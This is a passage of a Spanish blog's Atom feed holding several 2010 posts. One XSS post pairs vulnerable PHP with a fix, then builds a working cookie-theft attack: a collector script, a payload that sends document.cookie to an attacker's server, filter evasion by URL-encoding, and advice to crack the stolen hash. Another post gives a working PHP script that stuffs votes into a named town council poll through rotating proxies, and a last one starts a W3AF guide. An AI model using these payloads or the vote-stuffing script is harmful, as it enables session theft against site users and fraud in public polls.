href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8156498483024513907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8156498483024513907'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/linux-gthumb-redimensiona-tus-fotos.html' title='Linux - Gthumb - Redimensiona tus fotos'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S27Sk_N-B6I/AAAAAAAAAZA/B7HOsI8Aieg/s72-c/gthumb.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-6863213490953714665</id><published>2010-02-09T10:24:00.002+01:00</published><updated>2010-02-09T10:24:00.094+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>XSS - Cross Site Scripting</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S2rqcBmJ27I/AAAAAAAAAYw/Q383b44Msw4/s1600-h/xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S2rqcBmJ27I/AAAAAAAAAYw/Q383b44Msw4/s320/xss.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Cada día salen más &lt;b&gt;ataques del tipo XSS&lt;/b&gt;, si mal no recuerdo uno de los más sonados fue el de la &lt;b&gt;página de la Moncloa&lt;/b&gt;. También hay otros famosos como el de la&lt;b&gt; página de la SGAE en sus búsquedas&lt;/b&gt; y el el más reciente, la &lt;b&gt;página de búsquedas de la presidencia española de la UE&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Sin duda, &lt;b&gt;la culpa es de los programadores&lt;/b&gt;, &lt;b&gt;no validar las entradas&lt;/b&gt; es un &lt;b&gt;error terrible&lt;/b&gt; y aunque en estos casos estas vulnerabilidades no fueran &lt;b&gt;explotables&lt;/b&gt; nos hacen quedar en ridículo. En cualquier caso hoy trataré de dar la &lt;b&gt;imagen más peligrosa de los XSS&lt;/b&gt; para ver si de una vez la gente se &lt;b&gt;mentaliza&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Por ello mismo haremos un simple paseo por &lt;b&gt;scripts tontos&lt;/b&gt; y &lt;b&gt;scripts menos tontos&lt;/b&gt;. Lo primero de todo es la teoría. La &lt;b&gt;teoría&lt;/b&gt; dice que para probar un XSS usaremos un simple &lt;b&gt;document.Alert de javascript&lt;/b&gt; para ver si se nos muestra por pantalla la típica ventana de advertencia. A mi me gustan mas los iframes, por ello mismo usaremos este código: &lt;br /&gt;&lt;blockquote&gt;&amp;lt;iframe src=http://donzeyt.blogspot.com&amp;gt;&lt;/blockquote&gt;Para ver si es vulnerable nuestro atacante tan sólo habría que añadir en el &lt;b&gt;campo de búsqueda $_POST&lt;/b&gt; o en cualquier &lt;b&gt;parámetro $_GET&lt;/b&gt; el siguiente código. Nosotros &lt;b&gt;por comodidad&lt;/b&gt;, lo haremos con &lt;b&gt;$_GET&lt;/b&gt;.&lt;br /&gt;&lt;b&gt;Vulnerable1.php&lt;/b&gt;&lt;br /&gt;&lt;blockquote style="color: #990000;"&gt;&amp;lt;?php&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $seccion = $_GET["seccion"];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Usted esta en ".$seccion;&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;Para arreglarlo hubiera sido tan sencillo como:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #38761d;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $seccion = htmlentities($_GET["seccion"]);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Usted esta en ".$seccion;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;?&amp;gt;&lt;/span&gt; &lt;/blockquote&gt;En cualquier caso probaremos nuestro ataque. Para ello iremos a:&lt;br /&gt;&lt;blockquote&gt;http://nuestroservidor.example.com/Vulnerable1.php?seccion=&amp;lt;iframe src=http://donzeyt.blogspot.com&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;b&gt;Si aparece un iframe&lt;/b&gt; con la página es que las cosas funcionan bastante &lt;strike&gt;bien&lt;/strike&gt; y &lt;b&gt;es vulnerable&lt;/b&gt;. &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S2rhnGVhYWI/AAAAAAAAAYo/Jhl1UOeb91o/s1600-h/xss1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S2rhnGVhYWI/AAAAAAAAAYo/Jhl1UOeb91o/s320/xss1.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Perfecto, este es un ejemplo de los mas sencillos. Ahora mismo vamos a pasar al &lt;b&gt;más grave&lt;/b&gt;, de la inocentada a lo gordo. El &lt;b&gt;script vulnerable sigue siendo el mismo solo que añadiremos una cookie&lt;/b&gt;. Todavía no hemos hablado de esto pero lo veremos por encima.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;b&gt;Vulnerable2.php &lt;/b&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;span style="color: #990000;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $seccion = $_GET["seccion"];&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $contraseña = sha1($_GET["pass"]);&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; setcookie("contraseña", $contraseña , time()+ 3600);&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Usted esta en ".$seccion;&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;Una vez guardado crearemos el script al que llamaremos para que guarde la información.&lt;br /&gt;&lt;b&gt;come_cookies.php&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #f1c232;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br style="color: #f1c232;" /&gt;&lt;span style="color: #f1c232;"&gt;$cookie = $_GET["cookie"];&lt;/span&gt;&lt;br style="color: #f1c232;" /&gt;&lt;span style="color: #f1c232;"&gt;$fp = fopen("robada.txt", 'w');&lt;/span&gt;&lt;br style="color: #f1c232;" /&gt;&lt;span style="color: #f1c232;"&gt;fwrite($fp, $cookie);&lt;/span&gt;&lt;br style="color: #f1c232;" /&gt;&lt;span style="color: #f1c232;"&gt;fclose($fp);&lt;/span&gt;&lt;br style="color: #f1c232;" /&gt;&lt;span style="color: #f1c232;"&gt;?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;b&gt;Este script nos guardará las cookies en un fichero&lt;/b&gt; de texto y será al que invocaremos. En este caso&lt;b&gt; en vez de usar el iframe&lt;/b&gt;, he decidido usar el &lt;b&gt;document location de javascript&lt;/b&gt;.&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;&amp;lt;script&amp;gt;document.location=http://nuestroservidor.example.com/come_cookies.php?cookie=' +document.cookie&amp;lt;/script&amp;gt;&lt;/b&gt;&lt;/blockquote&gt;Muchos&lt;b&gt; servidores normalmente suelen llevar protección de scripts&lt;/b&gt; pero esta es &lt;b&gt;fácilmente saltable codificando nuestra cadena a HEX o directamente mediante la codificación del a URL&lt;/b&gt;. Existen gran cantidad de &lt;b&gt;conversores online gratuitos&lt;/b&gt;, os &lt;b&gt;recomiendo&lt;/b&gt; &lt;a href="http://hwagm.elhacker.net/php/sneak.php"&gt;este&lt;/a&gt;. Una vez codificado quedaría así:&lt;br /&gt;&lt;blockquote&gt;%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3E&lt;/blockquote&gt;Listo, ya sólo queda atacar, para ello tocará lo siguiente:&lt;br /&gt;&lt;blockquote&gt;http://nuestroservidor.example.com/Vulnerable2.php?pass=hola&amp;amp;seccion=%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3E&lt;/blockquote&gt;Si todo ha ido bien, &lt;b&gt;cookie robada&lt;/b&gt;, con ella&lt;b&gt; crackearemos la contraseña por fuerza bruta o diccionario y listo&lt;/b&gt;.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-6863213490953714665?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/6863213490953714665/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/xss-cross-site-scripting.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6863213490953714665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6863213490953714665'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/xss-cross-site-scripting.html' title='XSS - Cross Site Scripting'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S2rqcBmJ27I/AAAAAAAAAYw/Q383b44Msw4/s72-c/xss.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5057936236106943684</id><published>2010-02-08T10:01:00.000+01:00</published><updated>2010-02-08T10:01:00.762+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Proxys'/><category scheme='http://www.blogger.com/atom/ns#' term='Curl'/><title type='text'>PHP - Curl y Proxy (Vota Summercase Boadilla)</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/Sxg2LtM1s5I/AAAAAAAAABs/BqNLzu9j1A0/s1600/php-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/Sxg2LtM1s5I/AAAAAAAAABs/BqNLzu9j1A0/s320/php-logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Hoy nos sentimos &lt;strike&gt;democráticos&lt;/strike&gt;, por ello mismo, como &lt;strike&gt;creemos en las reglas del juego&lt;/strike&gt;, &lt;b&gt;crearemos un script que votará en una encuesta&lt;/b&gt; tantas veces como nuestro&lt;b&gt; número de proxys tengamos&lt;/b&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2m8q-hij3I/AAAAAAAAAYg/ftSt7N35DUg/s1600-h/summercase.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2m8q-hij3I/AAAAAAAAAYg/ftSt7N35DUg/s320/summercase.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Para ello mismo, he decidido &lt;b&gt;apoyar a los &lt;i&gt;poppers&lt;/i&gt; amigos de lo indie y su festival por excelencia en Madrid, el Summercase&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Resulta que el&lt;b&gt; ayuntamiento de Boadilla&lt;/b&gt; (localidad donde se realiza el festival) esta haciendo una &lt;b&gt;encuesta&lt;/b&gt; preguntando si &lt;b&gt;se debe seguir realizando el festival &lt;/b&gt;y la verdad, &lt;b&gt;no les va muy bien&lt;/b&gt;, ya que &lt;b&gt;ganan por poco&lt;/b&gt; y seguramente como van las cosas no habrá festival.&lt;br /&gt;&lt;br /&gt;Por ello mismo, quiero &lt;b&gt;aportar mi granito de arena&lt;/b&gt;. Seguramente&lt;b&gt; tanto voto negativo esté causado por algún vecino anti poperos&lt;/b&gt;, con un &lt;b&gt;mínimo conocimiento de programación&lt;/b&gt;. A pesar de todo esto, nos valdrá como &lt;b&gt;perfecto ejemplo de como no hacer en la vida una encuesta&lt;/b&gt;. Como&lt;b&gt; errores &lt;/b&gt;destacan: &lt;b&gt;no hay Captcha&lt;/b&gt; y la &lt;b&gt;única&lt;/b&gt; &lt;b&gt;medida&lt;/b&gt; de &lt;b&gt;seguridad&lt;/b&gt; que aporta es &lt;b&gt;1 voto por IP por día&lt;/b&gt;. Pues ya está, &lt;b&gt;PROXYs a cholón&lt;/b&gt; y listo.&lt;br /&gt;&lt;br /&gt;Lo primero de todo que &lt;b&gt;necesitaremos&lt;/b&gt;, será una &lt;b&gt;lista de proxys&lt;/b&gt;, en internet hay muchísimas, yo os &lt;b&gt;adjunto una que es un poco mala&lt;/b&gt; pero no importa. El único &lt;b&gt;requisito&lt;/b&gt; que tiene que cumplir vuestra &lt;b&gt;lista&lt;/b&gt; es el siguiente: &lt;b&gt;ip:puerto&lt;/b&gt;, &lt;b&gt;una proxy por cada línea&lt;/b&gt; y que el &lt;b&gt;fichero se llame proxys.txt&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Aquí os dejo un ejemplo:&lt;br /&gt;&lt;b&gt;proxys.txt&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;125.163.255.154:8080&lt;br /&gt;95.56.230.12:80&lt;br /&gt;92.61.240.22:80&lt;br /&gt;95.104.116.82:8080&lt;br /&gt;121.31.126.93:80&lt;br /&gt;87.250.47.219:8080&lt;br /&gt;89.31.6.24:8080&lt;br /&gt;84.20.81.196:8080&lt;br /&gt;125.160.162.16:8080&lt;br /&gt;202.143.146.205:8080&lt;br /&gt;119.6.253.31:8000&lt;br /&gt;208.180.65.242:8080&lt;br /&gt;121.14.158.75:80&lt;br /&gt;201.48.212.166:80&lt;br /&gt;117.25.177.242:8080&lt;br /&gt;200.141.202.162:8080&lt;br /&gt;119.2.42.163:8080&lt;br /&gt;202.90.112.43:8080&lt;br /&gt;187.5.91.82:8080&lt;br /&gt;208.180.60.126:8080&lt;br /&gt;200.226.251.217:80&lt;br /&gt;221.1.223.10:808&lt;br /&gt;220.178.47.253:8080&lt;br /&gt;202.159.90.163:80&lt;br /&gt;202.57.33.134:8008&lt;br /&gt;115.31.64.12:8008&lt;br /&gt;189.108.142.5:8080&lt;br /&gt;124.82.221.194:8080&lt;br /&gt;41.154.7.52:8080&lt;br /&gt;203.172.138.211:8080&lt;br /&gt;200.25.200.178:8080&lt;br /&gt;190.203.34.86:8080&lt;br /&gt;200.3.170.210:80&lt;br /&gt;201.72.7.2:80&lt;br /&gt;202.143.129.200:8080&lt;br /&gt;212.184.79.66:80&lt;br /&gt;201.2.110.84:8080&lt;br /&gt;200.14.96.57:80&lt;br /&gt;119.70.40.102:8080&lt;br /&gt;41.243.216.27:8080&lt;br /&gt;217.10.246.4:8080&lt;br /&gt;87.98.249.24:80&lt;br /&gt;202.152.59.235:80&lt;br /&gt;186.56.68.6:8080&lt;br /&gt;119.70.40.101:8080&lt;br /&gt;200.91.248.82:80&lt;br /&gt;189.41.69.151:80&lt;br /&gt;219.90.91.69:8080&lt;br /&gt;190.228.70.4:80&lt;br /&gt;114.57.172.78:80&lt;br /&gt;125.162.38.175:8080&lt;br /&gt;74.206.98.202:8080&lt;br /&gt;222.66.116.108:8080&lt;br /&gt;121.14.158.76:80&lt;br /&gt;84.20.81.196:80&lt;/blockquote&gt;Una vez &lt;b&gt;guardado el fichero&lt;/b&gt;,&lt;b&gt; procederemos a crear el script en php&lt;/b&gt; que está bastante &lt;b&gt;comentado&lt;/b&gt; por lo que sólo tenéis que &lt;b&gt;leerlos para enteraros de&amp;nbsp; que hace&lt;/b&gt;.&lt;br /&gt;&lt;b&gt;vota_summercase.php&lt;/b&gt;&lt;br /&gt;&lt;blockquote style="color: #38761d;"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; vota_summercase.php&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copyright 2010 Don ZeYt&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is free software; you can redistribute it and/or modify&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; it under the terms of the GNU General Public License as published by&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the Free Software Foundation; either version 2 of the License, or&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (at your option) any later version.&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is distributed in the hope that it will be useful,&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GNU General Public License for more details.&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You should have received a copy of the GNU General Public License&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; along with this program; if not, write to the Free Software&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,&lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MA 02110-1301, USA.&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;//Abrimos archivos de proxy&lt;br /&gt;$archivo = "proxys.txt";&lt;br /&gt;$f = fopen($archivo, "r");&lt;br /&gt;$datos = fread($f, filesize($archivo));&lt;br /&gt;fclose($f);&lt;br /&gt;//Creamos array de proxys&lt;br /&gt;$datos = explode("\n",$datos);&lt;br /&gt;//URL votacion&lt;br /&gt;$URL ="http://www.aytoboadilla.com/opinion/encuesta.asp";&lt;br /&gt;//Inicializamos contadores&lt;br /&gt;$error=0;&lt;br /&gt;$acierto=0;&lt;br /&gt;$proxy_error=0;&lt;br /&gt;//Bucle para todas las proxys&lt;br /&gt;foreach($datos as $d){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Separamos puerto de IP&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $d= explode(":",$d);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ip=$d[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $puerto=$d[1];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Usamos CURL&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ch = curl_init();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo $ip." ".$puerto."\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_PROXY, $ip);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_PROXYPORT, $puerto);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_URL, $URL);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_POSTFIELDS, "respuesta=r1");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch,CURLOPT_CONNECTTIMEOUT, 5);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $datos = curl_exec($ch);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close($ch);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Si no son vacios&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($datos != ""){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (!ereg("contabilizado",$datos)){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $error++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Error ".$error."\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $acierto++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Acierto ".$acierto."\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $proxy_error++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Error Proxy ".$proxy_error."\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;echo "Aciertos: ".$acierto." Errores: ".$error." Errores de Proxy: ".$proxy_error;&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;Una vez guardado, el &lt;b&gt;único requisito es que estén los dos archivos en el mismo directorio&lt;/b&gt;. Ahora bien, &lt;b&gt;para votar sólo habrá que ejecutar el script&lt;/b&gt;. Si es tu primera vez leyendo este blog, para &lt;b&gt;poder ejecutarlo necesitarás &lt;/b&gt;&lt;a href="http://donzeyt.blogspot.com/2009/12/ides-entornos-de-desarrollo-en-gnulinux.html"&gt;GNU/Linux con geany&lt;/a&gt; , &lt;a href="http://donzeyt.blogspot.com/2010/01/geany-compilando-php-pascal-y-ada-95.html"&gt;geany con php&lt;/a&gt;, &lt;a href="http://donzeyt.blogspot.com/2010/01/php-curling-nation.html"&gt;php5 y curl&lt;/a&gt;. También es valido cualquier editor, incluso subir el script a un servidor.&lt;br /&gt;¡Si usas otro sistema operativo búscate la vida!&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5057936236106943684?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5057936236106943684/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/php-curl-y-proxy-vota-summercase.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5057936236106943684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5057936236106943684'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/php-curl-y-proxy-vota-summercase.html' title='PHP - Curl y Proxy (Vota Summercase Boadilla)'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/Sxg2LtM1s5I/AAAAAAAAABs/BqNLzu9j1A0/s72-c/php-logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-6733295809704025647</id><published>2010-02-07T10:49:00.000+01:00</published><updated>2010-02-07T10:49:00.136+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='Auditoria'/><title type='text'>Web: W3AF Análisis de Seguridad de tu web</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S2iFM1xu6zI/AAAAAAAAAYQ/wpMLkpGTGh8/s1600-h/w3af_logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S2iFM1xu6zI/AAAAAAAAAYQ/wpMLkpGTGh8/s320/w3af_logo.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A pesar de la existencia de muchas&lt;b&gt; distribuciones con herramientas de seguridad&lt;/b&gt; como &lt;b&gt;BugTraq&lt;/b&gt;, hoy hablaremos de&lt;b&gt; W3AF&lt;/b&gt;, una &lt;b&gt;herramienta libre para la auditoría de seguridad de páginas web&lt;/b&gt;, tanto nuestras como ajenas, no sé si me entendéis...&lt;br /&gt;&lt;br /&gt;Para ello usaremos la &lt;b&gt;herramienta W3AF&lt;/b&gt;, un&lt;b&gt; completo kit de herramientas&lt;/b&gt; en el que podremos &lt;b&gt;auditar&lt;/b&gt;, &lt;b&gt;usar fuerza bruta&lt;/b&gt; y en resumen &lt;b&gt;recaudar toda la información posible sobre una web&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;instalarlo&lt;/b&gt; es muy &lt;b&gt;sencillo&lt;/b&gt;, sólo hay que ejecutar el siguiente comando en el terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install w3af&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, lo ejecutaremos en&lt;b&gt; Aplicaciones &amp;gt; Internet &amp;gt; W3AC&lt;/b&gt; . Una vez abierto, &lt;b&gt;escogeremos los perfiles que nos vienen por defecto&lt;/b&gt;. En este caso &lt;b&gt;recomiendo&lt;/b&gt; 